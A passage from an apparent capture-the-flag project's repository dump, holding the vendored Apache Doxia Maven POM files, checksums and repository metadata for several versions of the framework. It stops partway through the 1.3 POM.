    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven-parent</artifactId>\n    <version>10</version>\n    <relativePath>../../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.doxia</groupId>\n  <artifactId>doxia</artifactId>\n  <version>1.0</version>\n  <packaging>pom</packaging>\n\n  <name>Doxia</name>\n  <description>Doxia is a content generation framework that provides powerful techniques for generating static and dynamic content, supporting a variety of markup languages.</description>\n  <url>http://maven.apache.org/doxia/doxia</url>\n  <inceptionYear>2005</inceptionYear>\n\n  <mailingLists>\n    <mailingList>\n      <name>Doxia Developer List</name>\n      <post>doxia-dev@maven.apache.org</post>\n      <subscribe>doxia-dev-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>doxia-dev-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-dev/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/doxia-dev@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Doxia---dev-f11816.html</otherArchive>\n        <otherArchive>http://maven.doxia.dev.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Doxia User List</name>\n      <post>doxia-users@maven.apache.org</post>\n      <subscribe>doxia-users-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>doxia-users-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-users/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/doxia-users@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Doxia---Users-f14483.html</otherArchive>\n        <otherArchive>http://maven.doxia.users.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Doxia Commits List</name>\n      <subscribe>doxia-commits-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>doxia-commits-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/doxia-commits@maven.apache.org</otherArchive>\n        <otherArchive>http://maven.doxia.commits.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Issues-f15573.html</otherArchive>\n        <otherArchive>http://maven.issues.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <modules>\n    <module>doxia-core</module>\n    <module>doxia-sink-api</module>\n    <module>doxia-modules</module>\n    <module>doxia-book</module>\n    <module>doxia-maven-plugin</module>\n  </modules>\n\n  <scm>\n    <connection>scm:svn:https://svn.apache.org/repos/asf/maven/doxia/doxia/tags/doxia-1.0</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/doxia/doxia/tags/doxia-1.0</developerConnection>\n    <url>https://svn.apache.org/viewvc/maven/doxia/doxia/tags/doxia-1.0</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/DOXIA</url>\n  </issueManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org/doxia/doxia-1.0.x</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <projectVersion>${project.version}</projectVersion>\n  </properties>\n\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-sink-api</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-core</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-core</artifactId>\n        <version>${projectVersion}</version>\n        <type>test-jar</type>\n      </dependency>\n      <!-- Plexus -->\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-container-default</artifactId>\n        <version>1.0-alpha-30</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>1.5.7</version>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-maven-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>descriptor</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <configuration>\n            <source>1.4</source>\n            <aggregate>true</aggregate>\n            <links>\n              <link>http://java.sun.com/j2se/1.4.2/docs/api/</link>\n              <link>http://plexus.codehaus.org/plexus-utils/apidocs/</link>\n              <link>http://junit.sourceforge.net/javadoc/</link>\n            </links>\n            <tagletArtifacts>\n              <tagletArtifact>\n                <groupId>org.codehaus.plexus</groupId>\n                <artifactId>plexus-javadoc</artifactId>\n                <version>1.0</version>\n              </tagletArtifact>\n            </tagletArtifacts>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/doxia/doxia/tags</tagBase>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <configuration>\n            <forkMode>never</forkMode>\n          </configuration>\n        </plugin>\n        <!-- TODO use the parent version -->\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-maven-plugin</artifactId>\n          <version>1.3.5</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <configuration>\n              <source>1.4</source>\n              <aggregate>true</aggregate>\n              <links>\n                <link>http://java.sun.com/j2se/1.4.2/docs/api/</link>\n                <link>http://plexus.codehaus.org/plexus-utils/apidocs/</link>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n              </links>\n              <tagletArtifacts>\n                <tagletArtifact>\n                  <groupId>org.codehaus.plexus</groupId>\n                  <artifactId>plexus-javadoc</artifactId>\n                  <version>1.0</version>\n                </tagletArtifact>\n              </tagletArtifacts>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <configuration>\n              <aggregate>true</aggregate>\n            </configuration>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.0/doxia-1.0.pom.sha1",
    "content": "250d5a027daedc96539e3b3def7da7911feb6aae"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.0-alpha-7/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:35 CST 2018\ndoxia-1.0-alpha-7.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.0-alpha-7/doxia-1.0-alpha-7.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.apache.maven.doxia</groupId>\n  <artifactId>doxia</artifactId>\n  <packaging>pom</packaging>\n  <name>Doxia</name>\n  <version>1.0-alpha-7</version>\n  <url>http://maven.apache.org/doxia</url>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/DOXIA</url>\n  </issueManagement>\n  <ciManagement>\n    <system>continuum</system>\n    <notifiers>\n      <notifier>\n        <address>doxia-dev@maven.apache.org</address>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <mailingLists>\n    <mailingList>\n      <name>Doxia Developer List</name>\n      <subscribe>doxia-dev-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>doxia-dev-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-dev/</archive>\n    </mailingList>\n    <mailingList>\n      <name>Doxia User List</name>\n      <subscribe>doxia-users-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>doxia-users-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-users/</archive>\n    </mailingList>\n    <mailingList>\n      <name>Doxia Commits List</name>\n      <subscribe>doxia-commits-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>doxia-commits-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-commits/</archive>\n    </mailingList>\n  </mailingLists>\n  <developers>\n    <developer>\n      <name>Jason van Zyl</name>\n      <email>jason@maven.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <name>Brett Porter</name>\n      <email>brett@apache.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n      <timezone>+10</timezone>\n    </developer>\n    <developer>\n      <name>Emmanuel Venisse</name>\n      <email>emmanuel@venisse.net</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n      <timezone>1</timezone>\n    </developer>\n  </developers>\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/doxia/tags/doxia-1.0-alpha-7</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/doxia/tags/doxia-1.0-alpha-7</developerConnection>\n    <url>http://svn.apache.org/viewcvs.cgi/maven/doxia/tags/doxia-1.0-alpha-7</url>\n  </scm>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-maven-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>descriptor</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n  <modules>\n    <module>doxia-core</module>\n    <module>doxia-sink-api</module>\n    <module>doxia-site-renderer</module>\n    <module>doxia-decoration-model</module>\n  </modules>\n  <distributionManagement>\n    <repository>\n      <id>repo1</id>\n      <name>Maven Central Repository</name>\n      <url>scp://repo1.maven.org/home/projects/maven/repository-staging/to-ibiblio/maven2</url>\n    </repository>\n    <snapshotRepository>\n      <id>snapshots</id>\n      <name>Maven Central Development Repository</name>\n      <url>scp://repo1.maven.org/home/projects/maven/repository-staging/snapshots/maven2</url>\n    </snapshotRepository>\n    <site>\n      <id>website</id>\n      <url>scp://minotaur.apache.org/www/maven.apache.org/doxia/</url>\n    </site>\n  </distributionManagement>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.0-alpha-7/doxia-1.0-alpha-7.pom.sha1",
    "content": "fff8727b6ff366d624669f4b8dc4d4c7316bbb0c"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:48 CST 2018\ndoxia-1.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.1/doxia-1.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven-parent</artifactId>\n    <version>11</version>\n    <relativePath>../../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.doxia</groupId>\n  <artifactId>doxia</artifactId>\n  <version>1.1</version>\n  <packaging>pom</packaging>\n\n  <name>Doxia</name>\n  <description>Doxia is a content generation framework that provides powerful techniques for generating static and dynamic content, supporting a variety of markup languages.</description>\n  <url>http://maven.apache.org/doxia/doxia</url>\n  <inceptionYear>2005</inceptionYear>\n\n  <mailingLists>\n    <mailingList>\n      <name>Doxia Developer List</name>\n      <post>doxia-dev@maven.apache.org</post>\n      <subscribe>doxia-dev-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>doxia-dev-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-dev/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/doxia-dev@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Doxia---dev-f11816.html</otherArchive>\n        <otherArchive>http://maven.doxia.dev.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Doxia User List</name>\n      <post>doxia-users@maven.apache.org</post>\n      <subscribe>doxia-users-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>doxia-users-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-users/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/doxia-users@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Doxia---Users-f14483.html</otherArchive>\n        <otherArchive>http://maven.doxia.users.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Doxia Commits List</name>\n      <subscribe>doxia-commits-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>doxia-commits-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-doxia-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/doxia-commits@maven.apache.org</otherArchive>\n        <otherArchive>http://maven.doxia.commits.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Issues-f15573.html</otherArchive>\n        <otherArchive>http://maven.issues.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <prerequisites>\n    <maven>2.0.6</maven>\n  </prerequisites>\n\n  <modules>\n    <module>doxia-logging-api</module>\n    <module>doxia-sink-api</module>\n    <module>doxia-test-docs</module>\n    <module>doxia-core</module>\n    <module>doxia-modules</module>\n    <module>doxia-book</module>\n    <module>doxia-maven-plugin</module>\n  </modules>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/doxia/doxia/tags/doxia-1.1</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/doxia/doxia/tags/doxia-1.1</developerConnection>\n    <url>http://svn.apache.org/viewcvs.cgi/maven/doxia/doxia/tags/doxia-1.1</url>\n  </scm>\n  <issueManagement>\n    <system>jira</system>\n    <url>http://jira.codehaus.org/browse/DOXIA</url>\n  </issueManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org/doxia/doxia</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <projectVersion>${project.version}</projectVersion>\n  </properties>\n\n  <dependencyManagement>\n    <dependencies>\n      <!-- doxia -->\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-sink-api</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-logging-api</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-test-docs</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-core</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-core</artifactId>\n        <version>${projectVersion}</version>\n        <type>test-jar</type>\n      </dependency>\n\n      <!-- doxia modules -->\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-apt</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-confluence</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-docbook-simple</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-fml</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-fo</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-latex</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-itext</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-rtf</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-twiki</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-xdoc</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-module-xhtml</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n\n      <!-- Others -->\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-book</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.doxia</groupId>\n        <artifactId>doxia-maven-plugin</artifactId>\n        <version>${projectVersion}</version>\n      </dependency>\n\n      <!-- Plexus -->\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-container-default</artifactId>\n        <version>1.0-alpha-30</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>1.5.7</version>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <resources>\n      <resource>\n        <directory>src/main/resources</directory>\n      </resource>\n      <resource>\n        <directory>${build.directory}/generated-site/xsd</directory>\n        <includes>\n          <include>**/*.xsd</include>\n        </includes>\n      </resource>\n    </resources>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <configuration>\n            <tagBase>https://svn.apache.org/repos/asf/maven/doxia/doxia/tags</tagBase>\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <configuration>\n            <forkMode>never</forkMode>\n          </configuration>\n        </plugin>\n        <!-- TODO need to upgrade to last version or Maven parent version -->\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-maven-plugin</artifactId>\n          <version>1.3.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.modello</groupId>\n          <artifactId>modello-maven-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-project-info-reports-plugin</artifactId>\n          <version>2.1.1</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-maven-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>descriptor</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.1.1</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <!-- AbstractXmlParser.CachedFileEntityResolver downloads DTD/XSD files in ${java.io.tmpdir} -->\n      <id>remove-temp</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-antrun-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>clean-download</id>\n                <phase>clean</phase>\n                <configuration>\n                  <tasks>\n                    <delete>\n                      <fileset dir=\"${java.io.tmpdir}\" includes=\"**/*.dtd, **/*.ent, **/*.xsd\" />\n                    </delete>\n                  </tasks>\n                </configuration>\n                <goals>\n                  <goal>run</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <configuration>\n              <source>1.4</source>\n              <links>\n                <link>http://java.sun.com/j2se/1.4.2/docs/api/</link>\n                <link>http://plexus.codehaus.org/plexus-utils/apidocs/</link>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n              </links>\n              <tagletArtifacts>\n                <tagletArtifact>\n                  <groupId>org.codehaus.plexus</groupId>\n                  <artifactId>plexus-javadoc</artifactId>\n                  <version>1.0</version>\n                </tagletArtifact>\n              </tagletArtifacts>\n            </configuration>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n    <profile>\n      <id>reporting-aggregate</id>\n      <!-- To generate aggregate reports -->\n      <!-- To deploy both aggregate reports for top-level project and standalone reports for modules, call\n           mvn site -Preporting\n           mvn site:deploy\n           mvn site -Preporting-aggregate\n           mvn -N site:deploy\n      -->\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <configuration>\n              <aggregate>true</aggregate>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <configuration>\n              <aggregate>true</aggregate>\n              <source>1.4</source>\n              <links>\n                <link>http://java.sun.com/j2se/1.4.2/docs/api/</link>\n                <link>http://plexus.codehaus.org/plexus-utils/apidocs/</link>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n              </links>\n              <tagletArtifacts>\n                <tagletArtifact>\n                  <groupId>org.codehaus.plexus</groupId>\n                  <artifactId>plexus-javadoc</artifactId>\n                  <version>1.0</version>\n                </tagletArtifact>\n              </tagletArtifacts>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>aggregate</report>\n                  <report>test-aggregate</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.1/doxia-1.1.pom.sha1",
    "content": "b2306ce11082ee839fa2deee1fe4f1122c15227c"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:02:08 CST 2018\ndoxia-1.3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/doxia/doxia/1.3/doxia-1.3.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven-parent</artifactId>\n    <version>21</version>\n    <relativePath>../../pom/maven/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven.doxia</groupId>\n  <artifactId>doxia</artifactId>\n  <version>1.3</version>\n  <packaging>pom</packaging>\n\n  <name>Doxia</name>\n  <description>Doxia is a content generation framework that provides powerful techniques for generating static and dynamic content, supporting a variety of markup languages.</description>\n  <url>http://maven.apache.org/doxia/doxia/</url>\n  <inceptionYear>2005</inceptionYear>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven User List</name>\n      <subscribe>users-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>users-unsubscribe@maven.apache.org</unsubscribe>\n      <post>users@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-users</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/users@maven.apache.org/</otherArchive>\n        <otherArchive>http://oldnabble.com/Maven---Users-f178.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.users</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Developer List</name>\n      <subscribe>dev-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@maven.apache.org</unsubscribe>\n      <post>dev@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/dev@maven.apache.org/</otherArchive>\n        <otherArchive>http://old.nabble.com/Maven-Developers-f179.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.dev</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Commits List</name>\n      <subscribe>commits-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@maven.apache.org</unsubscribe>\n      